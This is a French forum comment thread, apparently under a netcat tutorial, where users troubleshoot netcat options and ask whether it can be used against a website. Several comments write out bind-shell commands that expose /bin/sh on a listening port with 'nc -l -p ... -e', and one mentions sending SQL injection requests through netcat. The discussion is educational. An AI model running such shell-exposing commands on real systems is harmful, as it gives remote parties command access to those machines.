22 septembre 2012 à 20 h 05 min

Bonjour,

netcat est un outil qui va permettre de se connecter à un service distant et/ou de créer un
socket en écoute sur un port donné.

Potentiellement, si tu as un site/service vulnérable, l’attaquant peut utiliser différents outils.

On peut éventuellement envoyer une requête pour exploiter une SQLi, ou autre a travers
netcat, c’est pas un problème. Cela peut être utile pour éviter certaines protections sur les
navigateurs web récents. Pour la partie web, on utilisera toutefois plus volontiers des outils
commeburp suite.

Hésite pas si tu as d’autres questions.


Dubois says:
22 septembre 2012 à 17 h 46 min

Bonjour,

Un internaute m’explique que l’on peu pirater mon site via NETCAT est ce vrai et de quelle
façon ?


Nicolas says:
27 février 2012 à 22 h 46 min

Hello jeandez, en réalité, cela dépend de la version de netcat utilisé. Sur BT5 par exemple :

nc -l -p 1234 fonctionne bien


jeandez says:
24 février 2012 à 11 h 57 min

bonjour ,
je lance : nc -L 1234 (sur ubuntu 10.04)
j’obtiens: invalide option — L
Aussi je fais nc -l -p 1234 -e /bin/sh
j’obtiens nc: invalid option –e
je rappelle aussi que nc -l -p 1234 ne marche pas , il faut plutot faire nc -l 1234

Merci de me donner de plus amples informations


helo says:
14 décembre 2011 à 1 h 47 min

Ave Voxpopulli,

Pour q cette commande: nc -l -p 1337 -e ‘/bin/sh’ fonctionne sous linux,


enlève les ‘ ‘ entre /bin/sh……….et ensuite dans une autre console tape
nc 12.34.567.89 1337 en remplacant 12.34.567.89 par la bonne adresse.

source de l’explication: http://www.aldeid.com/wiki/Netcat.


Ami-calmant.


VoxPopulisays:
7 août 2011 à 19 h 21 min

ta commande ne marche pas sur linux ^^


voxpopuli@voxpopuli:~$ nc -l -p 1337 -e ‘/bin/sh’
nc: invalid option — ‘e’
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [hostname] [port[s]]

Sur ubuntu (je n’ai pas encore essayé sur windows), la commande serait:
Pour le serveur:
sudo netcat -l 1337
Pour le client:
netcat 127.0.0.1 1337

Pour le moment le seul moyen que j’ai trouvé pour ouvrir un shell est d’utiliser une pipe sur le
serveur:
sudo netcat -l 1337 | gnome-terminal
Mais je n’ai pas encore trouvé comment communiquer avec celui-ci. Si non il est possible de
passer par un fichier et d’utiliser un programme qui au lieu d’être en écoute sur le réseau est
en écoute sur le fichier.

Je suis justement en train de faire un tuto sur ce petit logiciel


Nicolas says:
31 juillet 2011 à 16 h 45 min
Yop VoxPopuli,

L’option -e permet bien de rediriger vers un programme, pas forcément un shell.

Par contre, l’option est bien disponible sous Linux :

nc -l -p 1337 -e ‘/bin/sh’

Sur le windows :

nc IP_du_poste-distant 1337
tu lances une commande de type ls /

et cela va passer sans problème


VoxPopulisays:
31 juillet 2011 à 11 h 48 min

Juste pour préciser, après avoir essayé bien entendu, l’option « -e » qui est présenté ici
comme permettant de renvoyer vers un shell plus tôt que vers un fichier ne marche que sur
windows, elle est absente sur Linux.

sitou: va voir sur wikipedia…


Netcat: http://fr.wikipedia.org/wiki/Netcat
TCP/IP: http://fr.wikipedia.org/wiki/Suite_des_protocoles_Internet


Nicolas says:
8 octobre 2010 à 20 h 48 min

Bonjour,

-l indique le mode listen donc l’écoute.


-p indique le port sur lequel écouter.

Je ne vois pas pourquoi vous dites cela ? O_o


charlie says:
7 octobre 2010 à 12 h 58 min

Petit conseil pour les débutants : Avant d’écrire un tuto sur une commande veillez à bien
assimiler ses options.
Il s’agit d’une erreur d’utiliser les options -p et -l conjointement.
Lisez le manuel de la commande.


Nicolas says:
2 septembre 2010 à 22 h 16 min

Bonjour,

Netcat est un outil assez simple d’utilisation mais il faut avant tout comprendre la notion de
ports et la notion de sockets. Après avoir compris ces notions, vous pouvez regarder un petit
peu plus en profondeur le protocole TCP/IP, le modèle OSI etc. dans le but de comprendre ce
qu’on va réellement effectuer avec l’outil Netcat.

En gros, on va ouvrir une porte sur notre PC et se mettre à écouter (serveur). Une personne
va pouvoir se connecter sur cette porte et établir une connexion (client).

De base, on va pouvoir dialoguer en écrivant du texte qui sera retranscrit entre le client et le
serveur (un msn très simplifié).

Au lieu de renvoyer seulement du texte, il est possible, lorsque le client se connecte au


serveur, de lui renvoyer un shell distant. Cela veut simplement dire qu’il aura accès à votre
/bin/sh, cmd.exe ou autre.

N’hésitez pas à regarder ce site : http://www.frameip.com dans la partie « Les entêtes » pour
plus de précisions.

Je reste disponible pour toute question complémentaire.


sitou says:
2 septembre 2010 à 20 h 47 min

salu
je suis un debutant et je ne comprend pas grand chose dans tout ceci mais cela m’interesse
vraiment!
dite moi par ou je doit commencer pour arriver a comprendre ces choses! please help!!!


raylook says:
17 juin 2010 à 19 h 19 min

merci

Vous aimerez peut-être aussi